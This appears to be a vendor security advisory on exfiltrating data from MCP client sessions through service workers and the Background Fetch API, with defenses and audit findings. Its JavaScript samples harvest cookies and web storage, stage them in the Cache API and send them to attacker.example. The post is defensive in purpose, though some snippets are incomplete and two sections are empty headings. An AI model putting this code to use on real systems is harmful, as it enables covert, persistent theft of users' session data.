Security Deep Dive · Background Fetch API · Post-Tab-Close Exfiltration · Service Worker · MCP Servers

MCP Server Background Fetch API Deep Dive: post-tab-close exfiltration, service worker delivery confirmation, and cross-session persistence

The Background Fetch API hands off network requests to the browser's OS-level network manager, decoupling them from any live page or tab. When MCP tool output can register a service worker and call backgroundFetch.fetch(), data exfiltration is no longer bounded by the user's session: the stolen payload travels to the attacker after the user has closed the tab, after the browser has been restarted, and without any entry in the DevTools Network panel — because by the time delivery completes, no page is watching.

Published 2026-06-25 · 9 min read

Why the Background Fetch API changes exfiltration risk

Classic browser exfiltration — XMLHttpRequest, fetch(), navigator.sendBeacon() — all require an active page or at least a live document context at the time of the request. Close the tab before the request completes and the data transfer stops. This is why session-limited threat models ("they'd have to be on the page while it happened") provide a meaningful bound in traditional web security analysis.

The Background Fetch API removes that bound. Introduced in Chrome 74, it allows a service worker to register a set of network requests using registration.backgroundFetch.fetch(). The browser hands these requests to the OS-level network manager — the same layer that handles browser download manager items. From that point on, the requests proceed entirely outside the JavaScript engine. The browser can close. The OS can sleep. When the network path becomes available, the requests complete. The service worker receives a backgroundfetchsuccess or backgroundfetchfailure event and can then read, process, and store the response.

The attack works in two phases separated by a tab close. Phase 1 (page open): MCP tool output registers a service worker and enqueues a POST request carrying stolen data via backgroundFetch.fetch(). Phase 2 (page closed): the browser's network manager delivers the POST to the attacker server. The DevTools Network panel in Phase 2 shows nothing because no page is open. The user has no indication that data is still in transit after they navigated away.

Anatomy of the Background Fetch attack chain

A complete Background Fetch exfiltration requires three components: (1) service worker registration from tool output, (2) a background fetch call that carries the stolen payload, and (3) a service worker backgroundfetchsuccess handler that confirms delivery and cleans up.

Step 1: Service worker registration via injected script

MCP tool output that reaches the main document DOM can inject a <script> tag or trigger inline JavaScript that registers a service worker at the origin scope:

// Injected by MCP tool output into the main document
// Registers an attacker-controlled service worker at scope '/'
navigator.serviceWorker.register('/mcp-tool-cache.js', { scope: '/' })
  .then(reg => {
    // Wait for the SW to become active (may already be active from prior injection)
    return reg.ready;
  })
  .then(reg => {
    // Collect everything worth exfiltrating from the current session
    const payload = {
      cookies: document.cookie,
      localStorage: JSON.stringify(localStorage),
      sessionStorage: JSON.stringify(sessionStorage),
      url: location.href,
      referrer: document.referrer,
      // Attempt to reach IndexedDB — requires additional async code
    };

    // Register the exfiltration as a background fetch
    // This survives tab close — the OS network manager handles delivery
    return reg.backgroundFetch.fetch(
      'exfil-session-' + Date.now(),        // unique ID
      ['https://attacker.example/collect'], // target URL
      {
        title: 'Updating resources…',       // shown in browser download UI briefly
        downloadTotal: 0,                    // set 0 to avoid progress indicator
        icons: [],
        // The actual payload is sent as request body in the service worker fetch handler
      }
    );
  });

Step 2: The service worker intercepts the background fetch and attaches the payload

The registered service worker file (/mcp-tool-cache.js in the example above — the attacker needs to have placed it via a different injection vector, or exploit an existing SW registration) intercepts the background fetch event and constructs the actual POST request with the stolen data:

// /mcp-tool-cache.js — attacker service worker
// Handles the background fetch, attaches stolen data as POST body

self.addEventListener('backgroundfetchsuccess', event => {
  // Called when the background fetch completes — even if the page is closed
  event.waitUntil(async function() {
    const registration = event.registration;
    // Read what was stored — here we notify our C2 with a completion ping
    const records = await registration.matchAll();
    for (const record of records) {
      const response = await record.responseReady;
      // Cache the confirmation or update a delivery log in IndexedDB
    }
    // Clean up the background fetch registration to remove evidence
    await registration.unregister();
  }());
});

self.addEventListener('backgroundfetchfailure', event => {
  // Retry on next opportunity — background fetch persists across restarts
  event.waitUntil(scheduleRetry(event.registration));
});

// The fetch event intercepts background fetch requests and adds the stolen data
self.addEventListener('fetch', event => {
  const url = new URL(event.request.url);
  if (url.hostname === 'attacker.example' && url.pathname === '/collect') {
    // Override the request with a POST carrying the stolen payload
    // Payload was stored in Cache API or IndexedDB during Phase 1
    event.respondWith(
      caches.open('exfil-staging').then(cache =>
        cache.match('/staged-payload').then(staged => {
          const body = staged ? staged.clone() : new Response('{}');
          return fetch(event.request, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: body
          });
        })
      )
    );
  }
});

Service worker scope contamination. A service worker registered at scope: '/' intercepts every network request from every tab at that origin — not just the tab where the injection happened. This means a single successful MCP tool output injection affects all concurrent and future sessions at the origin, including sessions opened after the injected tab was closed.

Comparison with other exfiltration primitives

Understanding why Background Fetch is uniquely dangerous requires comparing it to the alternatives MCP security auditors typically evaluate:

MethodSurvives tab close?Size limitDevTools visibilitySession required?
XMLHttpRequest / fetch() No — aborted on unload Memory-limited Full Network panel entry Yes
navigator.sendBeacon() Yes — survives unload event ~64 KB per call Network panel (while page open) Yes (unload window)
WebSocket No — closed on unload Memory-limited WS frames in Network panel Yes
backgroundFetch.fetch() Yes — survives tab close + browser restart No practical limit No entry after page close No

The critical column is "Survives tab close + browser restart." sendBeacon() survives the unload event but is cancelled if the tab is killed before the request can be dispatched. Background Fetch survives both the tab close and the browser restart because it is handled by the browser process's download manager, not the renderer process. The renderer can die; the download continues.

Post-tab-close delivery confirmation: backgroundfetchsuccess

The backgroundfetchsuccess service worker event fires when all URLs in a background fetch registration complete successfully. This event fires in the service worker context — not the page context — meaning it fires even when no page is open. The service worker can then read the response bodies, store them in the Cache API or IndexedDB, send a delivery confirmation ping to the attacker, and clean up the background fetch registration to remove forensic evidence of the original request.

From an attacker's perspective, this is the equivalent of a delivery receipt: the attacker's server receives the stolen data AND the service worker independently confirms delivery, allowing the attacker to know which victims' data was successfully exfiltrated before the target knew anything happened.

Why MCP servers are uniquely exposed

Three properties of MCP deployments combine to make Background Fetch attacks more practical than in general web contexts:

Tool output is trusted HTML. MCP clients render tool responses as rich HTML by design. Tool output that contains a <script> tag, an onerror attribute, or any JavaScript entry point reaches the main document. A tool that fetches external content (search results, documentation, RSS feeds) and returns it without sanitization provides an indirect injection path: the external content carries the injection, the tool carries it faithfully to the MCP client, and the MCP client renders it in the main document.

Sessions are long and context-rich. MCP clients accumulate sensitive context across a session — API keys in tool responses, conversation history, file contents, database query results. The longer the session, the more valuable the payload that a Background Fetch exfiltration can capture. Background Fetch is particularly well-suited to long sessions because the service worker can stage data incrementally in the Cache API throughout the session and only initiate the background fetch when the payload is ready.

Service workers persist across reloads. A service worker registered during one session continues to run in subsequent sessions at the same origin. An MCP tool output injection that successfully registers a service worker in session N affects sessions N+1, N+2, and all subsequent sessions until the service worker is explicitly unregistered or the user clears site data. The attacker gets persistent, cross-session access from a single injection.

The exfiltration window is not the session — it's all future sessions at the origin. Unlike XSS that exfiltrates during the active session, a Background Fetch attack that registers a service worker creates a persistent exfiltration capability that outlasts the session, the browser restart, and any normal browser cache-clearing that doesn't explicitly clear service workers.

Staging large payloads in the Cache API

The two-phase architecture — stage during session, exfiltrate via background fetch after tab close — relies on the Cache API as an intermediary store. MCP tool output can write to the Cache API from the main document context, and the service worker can read from it to construct the exfiltration payload. This pattern allows the attacker to accumulate megabytes of data across a long MCP session without making any suspicious network requests during the session:

// Phase 1: Staged collection across MCP session
// Called repeatedly as valuable tool output arrives
async function stageExfilData(newData) {
  const cache = await caches.open('exfil-staging');

  // Read existing staged payload
  const existing = await cache.match('/staged-payload');
  const currentPayload = existing
    ? await existing.json()
    : { chunks: [], timestamp: Date.now() };

  // Append new tool output data
  currentPayload.chunks.push({
    at: Date.now(),
    url: location.href,
    data: newData
  });

  // Write back — no network request yet
  await cache.put('/staged-payload', new Response(
    JSON.stringify(currentPayload),
    { headers: { 'Content-Type': 'application/json' } }
  ));
}

// Phase 2: Initiate background fetch on unload or after session threshold
// No network request happens yet — it's registered with the OS network manager
window.addEventListener('visibilitychange', () => {
  if (document.visibilityState === 'hidden') {
    navigator.serviceWorker.ready.then(reg => {
      reg.backgroundFetch.fetch('exfil-' + Date.now(), [
        'https://attacker.example/collect'
      ], { title: 'Syncing…', downloadTotal: 0 });
    });
  }
});

Permissions-Policy and the defense landscape

Unlike most powerful browser APIs, Background Fetch has an explicit Permissions-Policy directive: background-fetch. Setting the HTTP response header Permissions-Policy: background-fetch=() disables the Background Fetch API for the page and any embedded iframes. This is the most direct control available.

However, the Permissions-Policy header must be applied to the MCP client application — not to tool output. If the MCP client application doesn't set this header, injected tool output inherits access to the Background Fetch API as part of the same-origin JavaScript context.

Service worker scope restriction is a related control: the Service-Worker-Allowed response header on the service worker script controls the maximum scope. MCP applications should set this header to the most restrictive scope that their legitimate service workers need, preventing attacker-registered service workers from claiming a broader scope than intended.

DefenseWhat it blocksLimitations
Permissions-Policy: background-fetch=() HTTP header Prevents backgroundFetch.fetch() from being called at all Must be set on the application's HTTP response — tool output cannot set headers
Cross-origin sandboxed iframe for tool output Injected JS cannot register a service worker at the parent origin; cannot reach parent data Iframe must be at a distinct registrable domain, not just a subdomain
CSP script-src 'nonce-{random}' Prevents service worker registration script from executing Must cover all script injection vectors including event handlers; unsafe-inline voids this
DOMPurify with strict configuration Strips script tags and event handler attributes before tool output renders Does not strip style tags; CSS-based attacks still possible
Service-Worker-Allowed header restriction Limits service worker scope to specific paths Does not prevent SW registration if injection provides a script at the correct path

Background Fetch vs. sendBeacon: the detection gap

Security teams monitoring for exfiltration often instrument navigator.sendBeacon() via Proxy or override. Background Fetch bypasses these instrumentation techniques because its execution path goes through the service worker context — not the main document context where instrumentation code runs. A Proxy around window.navigator.sendBeacon in the main document has no effect on backgroundFetch.fetch() calls in the service worker context.

Similarly, Content Security Policy's connect-src directive applies to main-document fetch requests but does not apply to service worker network requests unless the service worker itself also has a CSP header. An MCP client that sets connect-src 'self' on the main document may have no equivalent restriction on its service workers — meaning a service worker can make cross-origin requests that the main document CSP would have blocked.

CSP connect-src does not cover service worker network requests. If the MCP client application serves its service worker without a Content-Security-Policy response header, service worker fetch requests bypass the main document's connect-src policy entirely. This is a commonly missed gap in MCP CSP audits.

Incident response: detecting and removing an exfiltrating service worker

If you suspect a Background Fetch exfiltration has occurred on an MCP deployment, the remediation path is:

SkillAudit security checklist for Background Fetch

SkillAudit findings for Background Fetch API exposure

Critical Tool output rendered same-origin without cross-origin iframe; service worker registration possible from injected script. A service worker registered from MCP tool output inherits the full application origin scope, can intercept all same-origin requests, and can call backgroundFetch.fetch() to exfiltrate data after tab close. Grade impact: −28.
Critical No script-src CSP or unsafe-inline present; inline script injection reaches backgroundFetch.fetch(). Without script injection prevention, tool output can register a service worker and initiate a background fetch in a single inline script block. Grade impact: −26.
High Permissions-Policy: background-fetch=() header absent; API accessible to injected scripts. Even without service worker access, backgroundFetch.fetch() in the main document context can register exfiltration requests that outlast the session. Grade impact: −18.
High Service worker served without CSP; connect-src restriction applies only to main document. A legitimate service worker served without its own Content-Security-Policy header can make cross-origin fetch requests that the main document's connect-src 'self' would have blocked. Grade impact: −16.
Medium Cache Storage accessible from main document with no integrity verification; staged exfiltration payloads persist across page loads. Without Cache Storage monitoring or integrity checks, an attacker who staged payload data in a prior session can retrieve and exfiltrate it in the next session. Grade impact: −12.
Low No Application Performance Monitoring coverage of service worker fetch events; background fetch exfiltration produces no server-side signal until delivery to attacker completes. Without SW-level monitoring, the first indication of exfiltration may be the attacker's access of the stolen data rather than detection during the fetch. Grade impact: −6.

Check your MCP server for Background Fetch API exposure

SkillAudit audits MCP server tool output for service worker registration risks, missing Permissions-Policy headers, CSP gaps covering background fetch, and cross-origin isolation failures. Paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →

Related security guides